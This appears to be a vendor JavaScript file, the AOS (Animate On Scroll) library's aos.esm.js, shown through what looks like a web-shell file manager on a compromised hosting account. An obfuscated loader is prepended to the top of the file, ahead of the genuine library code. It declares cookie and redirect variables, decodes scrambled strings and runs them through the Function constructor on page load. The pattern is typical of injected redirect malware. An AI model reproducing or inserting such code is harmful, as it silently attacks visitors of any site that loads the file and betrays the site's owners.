AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/twitter-freeroll_legacy/assets/vendor/aos/ |
Current File : //home/thanudqk/siamfreetour.com/twitter-freeroll_legacy/assets/vendor/aos/aos.esm.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();import throttle from 'lodash.throttle'; import debounce from 'lodash.debounce'; var callback = function callback() {}; function containsAOSNode(nodes) { var i = void 0, currentNode = void 0, result = void 0; for (i = 0; i < nodes.length; i += 1) { currentNode = nodes[i]; if (currentNode.dataset && currentNode.dataset.aos) { return true; } result = currentNode.children && containsAOSNode(currentNode.children); if (result) { return true; } } return false; } function check(mutations) { if (!mutations) return; mutations.forEach(function (mutation) { var addedNodes = Array.prototype.slice.call(mutation.addedNodes); var removedNodes = Array.prototype.slice.call(mutation.removedNodes); var allNodes = addedNodes.concat(removedNodes); if (containsAOSNode(allNodes)) { return callback(); } }); } function getMutationObserver() { return window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; } function isSupported() { return !!getMutationObserver(); } function ready(selector, fn) { var doc = window.document; var MutationObserver = getMutationObserver(); var observer = new MutationObserver(check); callback = fn; observer.observe(doc.documentElement, { childList: true, subtree: true, removedNodes: true }); } var observer = { isSupported: isSupported, ready: ready }; var classCallCheck = function (instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }; var createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; /** * Device detector */ var fullNameRe = /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i; var prefixRe = /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i; var fullNameMobileRe = /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i; var prefixMobileRe = /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i; function ua() { return navigator.userAgent || navigator.vendor || window.opera || ''; } var Detector = function () { function Detector() { classCallCheck(this, Detector); } createClass(Detector, [{ key: 'phone', value: function phone() { var a = ua(); return !!(fullNameRe.test(a) || prefixRe.test(a.substr(0, 4))); } }, { key: 'mobile', value: function mobile() { var a = ua(); return !!(fullNameMobileRe.test(a) || prefixMobileRe.test(a.substr(0, 4))); } }, { key: 'tablet', value: function tablet() { return this.mobile() && !this.phone(); } // http://browserhacks.com/#hack-acea075d0ac6954f275a70023906050c }, { key: 'ie11', value: function ie11() { return '-ms-scroll-limit' in document.documentElement.style && '-ms-ime-align' in document.documentElement.style; } }]); return Detector; }(); var detect = new Detector(); /** * Adds multiple classes on node * @param {DOMNode} node * @param {array} classes */ var addClasses = function addClasses(node, classes) { return classes && classes.forEach(function (className) { return node.classList.add(className); }); }; /** * Removes multiple classes from node * @param {DOMNode} node * @param {array} classes */ var removeClasses = function removeClasses(node, classes) { return classes && classes.forEach(function (className) { return node.classList.remove(className); }); }; var fireEvent = function fireEvent(eventName, data) { var customEvent = void 0; if (detect.ie11()) { customEvent = document.createEvent('CustomEvent'); customEvent.initCustomEvent(eventName, true, true, { detail: data }); } else { customEvent = new CustomEvent(eventName, { detail: data }); } return document.dispatchEvent(customEvent); }; /** * Set or remove aos-animate class * @param {node} el element * @param {int} top scrolled distance */ var applyClasses = function applyClasses(el, top) { var options = el.options, position = el.position, node = el.node, data = el.data; var hide = function hide() { if (!el.animated) return; removeClasses(node, options.animatedClassNames); fireEvent('aos:out', node); if (el.options.id) { fireEvent('aos:in:' + el.options.id, node); } el.animated = false; }; var show = function show() { if (el.animated) return; addClasses(node, options.animatedClassNames); fireEvent('aos:in', node); if (el.options.id) { fireEvent('aos:in:' + el.options.id, node); } el.animated = true; }; if (options.mirror && top >= position.out && !options.once) { hide(); } else if (top >= position.in) { show(); } else if (el.animated && !options.once) { hide(); } }; /** * Scroll logic - add or remove 'aos-animate' class on scroll * * @param {array} $elements array of elements nodes * @return {void} */ var handleScroll = function handleScroll($elements) { return $elements.forEach(function (el, i) { return applyClasses(el, window.pageYOffset); }); }; /** * Get offset of DOM element * like there were no transforms applied on it * * @param {Node} el [DOM element] * @return {Object} [top and left offset] */ var offset = function offset(el) { var _x = 0; var _y = 0; while (el && !isNaN(el.offsetLeft) && !isNaN(el.offsetTop)) { _x += el.offsetLeft - (el.tagName != 'BODY' ? el.scrollLeft : 0); _y += el.offsetTop - (el.tagName != 'BODY' ? el.scrollTop : 0); el = el.offsetParent; } return { top: _y, left: _x }; }; /** * Get inline option with a fallback. * * @param {Node} el [Dom element] * @param {String} key [Option key] * @param {String} fallback [Default (fallback) value] * @return {Mixed} [Option set with inline attributes or fallback value if not set] */ var getInlineOption = (function (el, key, fallback) { var attr = el.getAttribute('data-aos-' + key); if (typeof attr !== 'undefined') { if (attr === 'true') { return true; } else if (attr === 'false') { return false; } } return attr || fallback; }); /** * Calculate offset * basing on element's settings like: * - anchor * - offset * * @param {Node} el [Dom element] * @return {Integer} [Final offset that will be used to trigger animation in good position] */ var getPositionIn = function getPositionIn(el, defaultOffset, defaultAnchorPlacement) { var windowHeight = window.innerHeight; var anchor = getInlineOption(el, 'anchor'); var inlineAnchorPlacement = getInlineOption(el, 'anchor-placement'); var additionalOffset = Number(getInlineOption(el, 'offset', inlineAnchorPlacement ? 0 : defaultOffset)); var anchorPlacement = inlineAnchorPlacement || defaultAnchorPlacement; var finalEl = el; if (anchor && document.querySelectorAll(anchor)) { finalEl = document.querySelectorAll(anchor)[0]; } var triggerPoint = offset(finalEl).top - windowHeight; switch (anchorPlacement) { case 'top-bottom': // Default offset break; case 'center-bottom': triggerPoint += finalEl.offsetHeight / 2; break; case 'bottom-bottom': triggerPoint += finalEl.offsetHeight; break; case 'top-center': triggerPoint += windowHeight / 2; break; case 'center-center': triggerPoint += windowHeight / 2 + finalEl.offsetHeight / 2; break; case 'bottom-center': triggerPoint += windowHeight / 2 + finalEl.offsetHeight; break; case 'top-top': triggerPoint += windowHeight; break; case 'bottom-top': triggerPoint += windowHeight + finalEl.offsetHeight; break; case 'center-top': triggerPoint += windowHeight + finalEl.offsetHeight / 2; break; } return triggerPoint + additionalOffset; }; var getPositionOut = function getPositionOut(el, defaultOffset) { var windowHeight = window.innerHeight; var anchor = getInlineOption(el, 'anchor'); var additionalOffset = getInlineOption(el, 'offset', defaultOffset); var finalEl = el; if (anchor && document.querySelectorAll(anchor)) { finalEl = document.querySelectorAll(anchor)[0]; } var elementOffsetTop = offset(finalEl).top; return elementOffsetTop + finalEl.offsetHeight - additionalOffset; }; /* Clearing variables */ var prepare = function prepare($elements, options) { $elements.forEach(function (el, i) { var mirror = getInlineOption(el.node, 'mirror', options.mirror); var once = getInlineOption(el.node, 'once', options.once); var id = getInlineOption(el.node, 'id'); var customClassNames = options.useClassNames && el.node.getAttribute('data-aos'); var animatedClassNames = [options.animatedClassName].concat(customClassNames ? customClassNames.split(' ') : []).filter(function (className) { return typeof className === 'string'; }); if (options.initClassName) { el.node.classList.add(options.initClassName); } el.position = { in: getPositionIn(el.node, options.offset, options.anchorPlacement), out: mirror && getPositionOut(el.node, options.offset) }; el.options = { once: once, mirror: mirror, animatedClassNames: animatedClassNames, id: id }; }); return $elements; }; /** * Generate initial array with elements as objects * This array will be extended later with elements attributes values * like 'position' */ var elements = (function () { var elements = document.querySelectorAll('[data-aos]'); return Array.prototype.map.call(elements, function (node) { return { node: node }; }); }); /** * ******************************************************* * AOS (Animate on scroll) - wowjs alternative * made to animate elements on scroll in both directions * ******************************************************* */ /** * Private variables */ var $aosElements = []; var initialized = false; /** * Default options */ var options = { offset: 120, delay: 0, easing: 'ease', duration: 400, disable: false, once: false, mirror: false, anchorPlacement: 'top-bottom', startEvent: 'DOMContentLoaded', animatedClassName: 'aos-animate', initClassName: 'aos-init', useClassNames: false, disableMutationObserver: false, throttleDelay: 99, debounceDelay: 50 }; // Detect not supported browsers (<=IE9) // http://browserhacks.com/#hack-e71d8692f65334173fee715c222cb805 var isBrowserNotSupported = function isBrowserNotSupported() { return document.all && !window.atob; }; var initializeScroll = function initializeScroll() { // Extend elements objects in $aosElements with their positions $aosElements = prepare($aosElements, options); // Perform scroll event, to refresh view and show/hide elements handleScroll($aosElements); /** * Handle scroll event to animate elements on scroll */ window.addEventListener('scroll', throttle(function () { handleScroll($aosElements, options.once); }, options.throttleDelay)); return $aosElements; }; /** * Refresh AOS */ var refresh = function refresh() { var initialize = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; // Allow refresh only when it was first initialized on startEvent if (initialize) initialized = true; if (initialized) initializeScroll(); }; /** * Hard refresh * create array with new elements and trigger refresh */ var refreshHard = function refreshHard() { $aosElements = elements(); if (isDisabled(options.disable) || isBrowserNotSupported()) { return disable(); } refresh(); }; /** * Disable AOS * Remove all attributes to reset applied styles */ var disable = function disable() { $aosElements.forEach(function (el, i) { el.node.removeAttribute('data-aos'); el.node.removeAttribute('data-aos-easing'); el.node.removeAttribute('data-aos-duration'); el.node.removeAttribute('data-aos-delay'); if (options.initClassName) { el.node.classList.remove(options.initClassName); } if (options.animatedClassName) { el.node.classList.remove(options.animatedClassName); } }); }; /** * Check if AOS should be disabled based on provided setting */ var isDisabled = function isDisabled(optionDisable) { return optionDisable === true || optionDisable === 'mobile' && detect.mobile() || optionDisable === 'phone' && detect.phone() || optionDisable === 'tablet' && detect.tablet() || typeof optionDisable === 'function' && optionDisable() === true; }; /** * Initializing AOS * - Create options merging defaults with user defined options * - Set attributes on <body> as global setting - css relies on it * - Attach preparing elements to options.startEvent, * window resize and orientation change * - Attach function that handle scroll and everything connected to it * to window scroll event and fire once document is ready to set initial state */ var init = function init(settings) { options = _extends(options, settings); // Create initial array with elements -> to be fullfilled later with prepare() $aosElements = elements(); /** * Disable mutation observing if not supported */ if (!options.disableMutationObserver && !observer.isSupported()) { console.info('\n aos: MutationObserver is not supported on this browser,\n code mutations observing has been disabled.\n You may have to call "refreshHard()" by yourself.\n '); options.disableMutationObserver = true; } /** * Observe [aos] elements * If something is loaded by AJAX * it'll refresh plugin automatically */ if (!options.disableMutationObserver) { observer.ready('[data-aos]', refreshHard); } /** * Don't init plugin if option `disable` is set * or when browser is not supported */ if (isDisabled(options.disable) || isBrowserNotSupported()) { return disable(); } /** * Set global settings on body, based on options * so CSS can use it */ document.querySelector('body').setAttribute('data-aos-easing', options.easing); document.querySelector('body').setAttribute('data-aos-duration', options.duration); document.querySelector('body').setAttribute('data-aos-delay', options.delay); /** * Handle initializing */ if (['DOMContentLoaded', 'load'].indexOf(options.startEvent) === -1) { // Listen to options.startEvent and initialize AOS document.addEventListener(options.startEvent, function () { refresh(true); }); } else { window.addEventListener('load', function () { refresh(true); }); } if (options.startEvent === 'DOMContentLoaded' && ['complete', 'interactive'].indexOf(document.readyState) > -1) { // Initialize AOS if default startEvent was already fired refresh(true); } /** * Refresh plugin on window resize or orientation change */ window.addEventListener('resize', debounce(refresh, options.debounceDelay, true)); window.addEventListener('orientationchange', debounce(refresh, options.debounceDelay, true)); return $aosElements; }; /** * Export Public API */ var aos = { init: init, refresh: refresh, refreshHard: refreshHard }; export default aos;